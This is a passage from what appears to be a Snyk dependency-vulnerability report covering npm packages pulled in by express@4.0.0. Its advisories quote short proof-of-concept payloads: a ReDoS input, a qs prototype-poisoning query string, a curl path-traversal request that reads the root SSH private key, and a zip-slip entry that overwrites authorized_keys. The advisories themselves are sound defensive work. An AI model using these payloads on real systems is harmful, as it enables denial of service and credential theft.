(exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `path-to-regexp` to version 0.1.10, 1.9.0, 3.3.0, 6.3.0, 8.0.0 or higher.\n# References\n- [GitHub Commit](https://github.com/pillarjs/path-to-regexp/commit/29b96b4a1de52824e1ca0f49a701183cc4ed476f)\n- [GitHub Commit](https://github.com/pillarjs/path-to-regexp/commit/60f2121e9b66b7b622cc01080df0aabda9eedee6)\n- [GitHub Commit](https://github.com/pillarjs/path-to-regexp/commit/f73ec6c86b06f544b977119c2b62a16de480a6a9)\n- [Strict Mode Release Note](https://github.com/pillarjs/path-to-regexp/releases/tag/v7.1.0)\n- [Vulnerability Write-up](https://blakeembrey.com/posts/2024-09-web-redos/)\n" - }, - "properties": { - "tags": ["security", "CWE-1333", "npm"], - "cvssv3_baseScore": 6.9, - "security-severity": "6.9" - } - }, - { - "id": "SNYK-JS-PATHTOREGEXP-8482416", - "shortDescription": { - "text": "Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in path-to-regexp" - }, - "fullDescription": { - "text": "(CVE-2024-52798) path-to-regexp@0.1.2" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: path-to-regexp\n* Introduced through: tsc@1.0.0, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: tsc@1.0.0 › express@4.0.0 › path-to-regexp@0.1.2\n# Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when including multiple regular expression parameters in a single segment, when the separator is not `.` (e.g. no `/:a-:b`). Poor performance will block the event loop and can lead to a DoS.\r\n\r\n**Note:**\r\n\r\nThis issue is caused due to an incomplete fix for [CVE-2024-45296](https://security.snyk.io/vuln/SNYK-JS-PATHTOREGEXP-7925106).\r\n\r\n# Workarounds\r\n\r\nThis can be mitigated by avoiding using two parameters within a single path segment, when the separator is not `.` (e.g. no `/:a-:b`). Alternatively, the regex used for both parameters can be defined to ensure they do not overlap to allow backtracking.\n# PoC\n```js\r\n/a${'-a'.repeat(8_000)}/a\r\n```\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `path-to-regexp` to version 0.1.12 or higher.\n# References\n- [Blog Post](https://blakeembrey.com/posts/2024-09-web-redos)\n- [GitHub Commit](https://github.com/pillarjs/path-to-regexp/commit/f01c26a013b1889f0c217c643964513acf17f6a4)\n" - }, - "properties": { - "tags": ["security", "CWE-1333", "npm"], - "cvssv3_baseScore": 6.9, - "security-severity": "6.9" - } - }, - { - "id": "SNYK-JS-QS-3153490", - "shortDescription": { - "text": "High severity - Prototype Poisoning vulnerability in qs" - }, - "fullDescription": { - "text": "(CVE-2022-24999) qs@0.6.6" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: qs\n* Introduced through: tsc@1.0.0, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: tsc@1.0.0 › express@4.0.0 › qs@0.6.6\n# Overview\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\nAffected versions of this package are vulnerable to Prototype Poisoning which allows attackers to cause a Node process to hang, processing an Array object whose prototype has been replaced by one with an excessive length value.\r\n\r\n**Note:** In many typical Express use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as `a[__proto__]=b&a[__proto__]&a[length]=100000000`.\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n# Remediation\nUpgrade `qs` to version 6.2.4, 6.3.3, 6.4.1, 6.5.3, 6.6.1, 6.7.3, 6.8.3, 6.9.7, 6.10.3 or higher.\n# References\n- [GitHub PR](https://github.com/ljharb/qs/pull/428)\n- [RedHat Bugzilla Bug](https://bugzilla.redhat.com/show_bug.cgi?id=2150323)\n- [Researcher Advisory](https://github.com/n8tz/CVE-2022-24999)\n" - }, - "properties": { - "tags": ["security", "CWE-1321", "npm"], - "cvssv3_baseScore": 7.5, - "security-severity": "7.5" - } - }, - { - "id": "npm:qs:20140806", - "shortDescription": { - "text": "High severity - Denial of Service (DoS) vulnerability in qs" - }, - "fullDescription": { - "text": "(CVE-2014-7191) qs@0.6.6" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: qs\n* Introduced through: tsc@1.0.0, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: tsc@1.0.0 › express@4.0.0 › qs@0.6.6\n# Overview\n\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\n\nAffected versions of this package are vulnerable to Denial of Service (DoS).\nDuring parsing, the `qs` module may create a sparse area (an array where no elements are filled), and grow that array to the necessary size based on the indices used on it. An attacker can specify a high index value in a query string, thus making the server allocate a respectively big array. Truly large values can cause the server to run out of memory and cause it to crash - thus enabling a Denial-of-Service attack.\n\n# Remediation\n\nUpgrade `qs` to version 1.0.0 or higher.\n\n\n# Details\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\r\n\r\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\r\n\r\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\r\n\r\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\r\n\r\nTwo common types of DoS vulnerabilities:\r\n\r\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](SNYK-JAVA-COMMONSFILEUPLOAD-30082).\r\n\r\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](npm:ws:20171108)\n\n# References\n\n- [GitHub Commit](https://github.com/tj/node-querystring/pull/114/commits/43a604b7847e56bba49d0ce3e222fe89569354d8)\n\n- [GitHub Issue](https://github.com/visionmedia/node-querystring/issues/104)\n\n- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2014-7191)\n" - }, - "properties": { - "tags": ["security", "CWE-400", "npm"], - "cvssv3_baseScore": 7.5, - "security-severity": "7.5" - } - }, - { - "id": "npm:qs:20140806-1", - "shortDescription": { - "text": "Medium severity - Denial of Service (DoS) vulnerability in qs" - }, - "fullDescription": { - "text": "(CVE-2014-10064) qs@0.6.6" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: qs\n* Introduced through: tsc@1.0.0, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: tsc@1.0.0 › express@4.0.0 › qs@0.6.6\n# Overview\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\nAffected versions of this package are vulnerable to Denial of Service (DoS). When parsing a string representing a deeply nested object, qs will block the event loop for long periods of time. Such a delay may hold up the server's resources, keeping it from processing other requests in the meantime, thus enabling a Denial-of-Service attack.\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `qs` to version 1.0.0 or higher.\n# References\n- [Node Security Advisory](https://nodesecurity.io/advisories/28)\n" - }, - "properties": { - "tags": ["security", "CWE-400", "npm"], - "cvssv3_baseScore": 6.5, - "security-severity": "6.5" - } - }, - { - "id": "npm:qs:20170213", - "shortDescription": { - "text": "High severity - Prototype Override Protection Bypass vulnerability in qs" - }, - "fullDescription": { - "text": "(CVE-2017-1000048) qs@0.6.6" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: qs\n* Introduced through: tsc@1.0.0, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: tsc@1.0.0 › express@4.0.0 › qs@0.6.6\n# Overview\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\nAffected versions of this package are vulnerable to Prototype Override Protection Bypass. By default `qs` protects against attacks that attempt to overwrite an object's existing prototype properties, such as `toString()`, `hasOwnProperty()`,etc.\r\n\r\nFrom [`qs` documentation](https://github.com/ljharb/qs):\r\n> By default parameters that would overwrite properties on the object prototype are ignored, if you wish to keep the data from those fields either use plainObjects as mentioned above, or set allowPrototypes to true which will allow user input to overwrite those properties. WARNING It is generally a bad idea to enable this option as it can cause problems when attempting to use the properties that have been overwritten. Always be careful with this option.\r\n\r\nOverwriting these properties can impact application logic, potentially allowing attackers to work around security controls, modify data, make the application unstable and more.\r\n\r\nIn versions of the package affected by this vulnerability, it is possible to circumvent this protection and overwrite prototype properties and functions by prefixing the name of the parameter with `[` or `]`. e.g. `qs.parse(\"]=toString\")` will return `{toString = true}`, as a result, calling `toString()` on the object will throw an exception.\r\n\r\n**Example:**\r\n```js\r\nqs.parse('toString=foo', { allowPrototypes: false })\r\n// {}\r\n\r\nqs.parse(\"]=toString\", { allowPrototypes: false })\r\n// {toString = true} <== prototype overwritten\r\n```\r\n\r\nFor more information, you can check out our [blog](https://snyk.io/blog/high-severity-vulnerability-qs/).\r\n\r\n# Disclosure Timeline\r\n- February 13th, 2017 - Reported the issue to package owner.\r\n- February 13th, 2017 - Issue acknowledged by package owner.\r\n- February 16th, 2017 - Partial fix released in versions `6.0.3`, `6.1.1`, `6.2.2`, `6.3.1`.\r\n- March 6th, 2017 - Final fix released in versions `6.4.0`,`6.3.2`, `6.2.3`, `6.1.2` and `6.0.4`\n# Remediation\nUpgrade `qs` to version 6.0.4, 6.1.2, 6.2.3, 6.3.2 or higher.\n# References\n- [GitHub Commit](https://github.com/ljharb/qs/commit/beade029171b8cef9cee0d03ebe577e2dd84976d)\n- [GitHub Issue](https://github.com/ljharb/qs/issues/200)\n" - }, - "properties": { - "tags": ["security", "CWE-20", "npm"], - "cvssv3_baseScore": 7.5, - "security-severity": "7.5" - } - }, - { - "id": "SNYK-JS-SEND-7926862", - "shortDescription": { - "text": "Low severity - Cross-site Scripting vulnerability in send" - }, - "fullDescription": { - "text": "(CVE-2024-43799) send@0.2.0" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: send\n* Introduced through: tsc@1.0.0, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: tsc@1.0.0 › express@4.0.0 › send@0.2.0\n* _Introduced through_: tsc@1.0.0 › express@4.0.0 › serve-static@1.0.1 › send@0.1.4\n# Overview\n[send](https://github.com/pillarjs/send) is a Better streaming static file server with Range and conditional-GET support\n\nAffected versions of this package are vulnerable to Cross-site Scripting due to improper user input sanitization passed to the `SendStream.redirect()` function, which executes untrusted code. An attacker can execute arbitrary code by manipulating the input parameters to this method.\r\n\r\n**Note:**\r\n\r\nExploiting this vulnerability requires the following:\r\n\r\n1) The attacker needs to control the input to `response.redirect()`\r\n\r\n2) Express MUST NOT redirect before the template appears\r\n\r\n3) The browser MUST NOT complete redirection before\r\n\r\n4) The user MUST click on the link in the template\n# Details\n\nCross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.\n\nThis is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.\n\nInjecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.\n\nEscaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `<`; and `>` can be coded as `>`; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.\n \nThe most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware. \n\n## Types of attacks\nThere are a few methods by which XSS can be manipulated:\n\n|Type|Origin|Description|\n|--|--|--|\n|**Stored**|Server|The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.|\n|**Reflected**|Server|The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.| \n|**DOM-based**|Client|The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.|\n|**Mutated**| |The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.|\n\n## Affected environments\nThe following environments are susceptible to an XSS attack:\n\n* Web servers\n* Application servers\n* Web application environments\n\n## How to prevent\nThis section describes the top best practices designed to specifically protect your code: \n\n* Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. \n* Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents. \n* Give users the option to disable client-side scripts.\n* Redirect invalid requests.\n* Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.\n* Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.\n* Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.\n\n# Remediation\nUpgrade `send` to version 0.19.0, 1.1.0 or higher.\n# References\n- [GitHub Commit](https://github.com/pillarjs/send/commit/ae4f2989491b392ae2ef3b0015a019770ae65d35)\n" - }, - "properties": { - "tags": ["security", "CWE-79", "npm"], - "cvssv3_baseScore": 2.1, - "security-severity": "2.1" - } - }, - { - "id": "npm:send:20140912", - "shortDescription": { - "text": "Medium severity - Directory Traversal vulnerability in send" - }, - "fullDescription": { - "text": "(CVE-2014-6394) send@0.2.0" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: send\n* Introduced through: tsc@1.0.0, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: tsc@1.0.0 › express@4.0.0 › send@0.2.0\n* _Introduced through_: tsc@1.0.0 › express@4.0.0 › serve-static@1.0.1 › send@0.1.4\n# Overview\n[send](https://www.npmjs.com/package/send) is a library for streaming files from the file system.\n\nAffected versions of this package are vulnerable to Directory-Traversal attacks due to insecure comparison.\nWhen relying on the root option to restrict file access a malicious user may escape out of the restricted directory and access files in a similarly named directory. For example, a path like `/my-secret` is consedered fine for the root `/my`.\n\n# Details\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\r\n\r\nDirectory Traversal vulnerabilities can be generally divided into two types:\r\n\r\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\r\n\r\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\r\n\r\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\r\n\r\n```\r\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\r\n```\r\n**Note** `%2e` is the URL encoded version of `.` (dot).\r\n\r\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \r\n\r\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\r\n\r\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\r\n\r\n```\r\n2018-04-15 22:04:29 ..... 19 19 good.txt\r\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\r\n```\n \n\n# Remediation\nUpgrade to a version greater than or equal to 0.8.4.\n\n# References\n- [GitHub PR](https://github.com/visionmedia/send/pull/59)\n- [GitHub Commit](https://github.com/visionmedia/send/commit/9c6ca9b2c0b880afd3ff91ce0d211213c5fa5f9a)\n" - }, - "properties": { - "tags": ["security", "CWE-23", "npm"], - "cvssv3_baseScore": 4.3, - "security-severity": "4.3" - } - }, - { - "id": "npm:send:20151103", - "shortDescription": { - "text": "Medium severity - Root Path Disclosure vulnerability in send" - }, - "fullDescription": { - "text": "(CVE-2015-8859) send@0.2.0" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: send\n* Introduced through: tsc@1.0.0, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: tsc@1.0.0 › express@4.0.0 › send@0.2.0\n* _Introduced through_: tsc@1.0.0 › express@4.0.0 › serve-static@1.0.1 › send@0.1.4\n# Overview\r\n[Send](https://www.npmjs.com/package/send) is a library for streaming files from the file system as an http response. It supports partial responses (Ranges), conditional-GET negotiation, high test coverage, and granular events which may be leveraged to take appropriate actions in your application or framework.\r\n\r\nAffected versions of this package are vulnerable to a Root Path Disclosure.\r\n\r\n# Remediation\r\nUpgrade `send` to version 0.11.1 or higher. \r\nIf a direct dependency update is not possible, use [snyk wizard](https://snyk.io/docs/using-snyk#wizard) to patch this vulnerability.\r\n\r\n# References\r\n- [GitHub PR](https://github.com/pillarjs/send/pull/70)\r\n- [GitHub Commit](https://github.com/pillarjs/send/commit/98a5b89982b38e79db684177cf94730ce7fc7aed)\r\n- [GitHub History](https://github.com/expressjs/serve-static/blob/master/HISTORY.md#181--2015-01-20)\r\n- [Expressjs Security Update](http://expressjs.com/advanced/security-updates.html)" - }, - "properties": { - "tags": ["security", "CWE-200", "npm"], - "cvssv3_baseScore": 5.3, - "security-severity": "5.3" - } - }, - { - "id": "SNYK-JS-SERVESTATIC-7926865", - "shortDescription": { - "text": "Low severity - Cross-site Scripting vulnerability in serve-static" - }, - "fullDescription": { - "text": "(CVE-2024-43800) serve-static@1.0.1" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: serve-static\n* Introduced through: tsc@1.0.0, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: tsc@1.0.0 › express@4.0.0 › serve-static@1.0.1\n# Overview\n[serve-static](https://github.com/expressjs/serve-static) is a server.\n\nAffected versions of this package are vulnerable to Cross-site Scripting due to improper sanitization of user input in the `redirect` function. An attacker can manipulate the redirection process by injecting malicious code into the input. \r\n\r\n\r\n**Note**\r\n\r\nTo exploit this vulnerability, the following conditions are required:\r\n\r\n1) The attacker should be able to control the input to `response.redirect()`\r\n\r\n2) express must not redirect before the template appears\r\n\r\n3) the browser must not complete redirection before:\r\n\r\n4) the user must click on the link in the template\n# Details\n\nCross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.\n\nThis is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.\n\nInjecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.\n\nEscaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `<`; and `>` can be coded as `>`; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.\n \nThe most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware. \n\n## Types of attacks\nThere are a few methods by which XSS can be manipulated:\n\n|Type|Origin|Description|\n|--|--|--|\n|**Stored**|Server|The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.|\n|**Reflected**|Server|The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.| \n|**DOM-based**|Client|The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.|\n|**Mutated**| |The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.|\n\n## Affected environments\nThe following environments are susceptible to an XSS attack:\n\n* Web servers\n* Application servers\n* Web application environments\n\n## How to prevent\nThis section describes the top best practices designed to specifically protect your code: \n\n* Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. \n* Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents. \n* Give users the option to disable client-side scripts.\n* Redirect invalid requests.\n* Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.\n* Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.\n* Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.\n\n# Remediation\nUpgrade `serve-static` to version 1.16.0, 2.1.0 or higher.\n# References\n- [GitHub Commit](https://github.com/expressjs/serve-static/commit/0c11fad159898cdc69fd9ab63269b72468ecaf6b)\n- [GitHub Commit](https://github.com/expressjs/serve-static/commit/ce730896fddce1588111d9ef6fdf20896de5c6fa)\n" - }, - "properties": { - "tags": ["security", "CWE-79", "npm"], - "cvssv3_baseScore": 2.1, - "security-severity": "2.1" - } - }, - { - "id": "npm:serve-static:20150113", - "shortDescription": { - "text": "Low severity - Open Redirect vulnerability in serve-static" - }, - "fullDescription": { - "text": "(CVE-2015-1164) serve-static@1.0.1" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: serve-static\n* Introduced through: tsc@1.0.0, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: tsc@1.0.0 › express@4.0.0 › serve-static@1.0.1\n# Overview\r\n\r\nWhen using serve-static middleware version < 1.7.2 and it's configured to mount at the root, it creates an open redirect on the site.\r\n\r\n_Source: [Node Security Project](https://nodesecurity.io/advisories/35)_\r\n\r\n# Details\r\n\r\nFor example:\r\n\r\nIf a user visits `http://example.com//www.google.com/%2e%2e` they will be redirected to `//www.google.com/%2e%2e`, which some browsers interpret as `http://www.google.com/%2e%2e`.\r\n\r\n# Remediation\r\n\r\n * Update to version 1.7.2 or greater (or 1.6.5 if sticking to the 1.6.x line).\r\n * Disable redirects if not using the feature with 'redirect: false' option and cannot upgrade.\r\n\r\n# References\r\n\r\n- https://github.com/expressjs/serve-static/issues/26\r\n- https://www.owasp.org/index.php/Open_redirect" - }, - "properties": { - "tags": ["security", "CWE-601", "npm"], - "cvssv3_baseScore": 3.1, - "security-severity": "3.1" - } - }, - { - "id": "npm:cookie-signature:20160804", - "shortDescription": { - "text": "Medium severity - Non-Constant Time String Comparison vulnerability in cookie-signature" - }, - "fullDescription": { - "text": "(CVE-2016-1000236) cookie-signature@1.0.3" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* 